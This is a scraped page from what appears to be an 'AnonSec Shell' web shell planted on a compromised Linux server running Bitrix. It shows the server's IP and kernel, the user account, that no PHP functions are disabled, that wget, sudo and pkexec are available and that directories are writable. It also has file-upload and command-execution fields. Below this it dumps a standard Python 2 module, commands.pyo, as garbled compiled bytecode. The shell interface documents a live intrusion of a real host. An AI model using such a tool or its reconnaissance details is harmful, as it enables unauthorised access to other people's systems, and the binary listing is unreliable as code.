AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.145.163.232
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python2.7/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /lib64/python2.7/commands.pyo
�
ٜSec@sidZddlmZeddd�[dddgZd	�Zd
�Zd�Zd�Zd
�ZdS(s-Execute shell commands via os.popen() and return status, output.

Interface summary:

       import commands

       outtext = commands.getoutput(cmd)
       (exitstatus, outtext) = commands.getstatusoutput(cmd)
       outtext = commands.getstatus(file)  # returns output of "ls -ld file"

A trailing newline is removed from the output string.

Encapsulates the basic operation:

      pipe = os.popen('{ ' + cmd + '; } 2>&1', 'r')
      text = pipe.read()
      sts = pipe.close()

 [Note:  it would be nice to add functions to interpret the exit status.]
i����(twarnpy3ksUthe commands module has been removed in Python 3.0; use the subprocess module insteadt
stacklevelitgetstatusoutputt	getoutputt	getstatuscCs3ddl}|jdtd�tdt|��S(s-Return output of "ls -ld <file>" in a string.i����Ns"commands.getstatus() is deprecatedisls -ld(twarningstwarntDeprecationWarningRtmkarg(tfileR((s /usr/lib64/python2.7/commands.pyR%scCst|�dS(s=Return output (stdout or stderr) of executing cmd in a shell.i(R(tcmd((s /usr/lib64/python2.7/commands.pyR0scCszddl}|jd|dd�}|j�}|j�}|dkrSd}n|ddkrp|d }n||fS(s4Return (status, output) of executing cmd in a shell.i����Ns{ s; } 2>&1tris
(tostpopentreadtclosetNone(R
Rtpipettexttsts((s /usr/lib64/python2.7/commands.pyR8s	
cCs%ddl}t|jj||��S(Ni����(RRtpathtjoin(theadtxR((s /usr/lib64/python2.7/commands.pytmk2argEscCs`d|krd|dSd}x1|D])}|dkrD|d}n||}q%W|d}|S(Ns's 's "s\$"`s\t"((Rtstc((s /usr/lib64/python2.7/commands.pyRQs


N(	t__doc__RRt__all__RRRRR(((s /usr/lib64/python2.7/commands.pyt<module>s				
	

Anon7 - 2022
AnonSec Team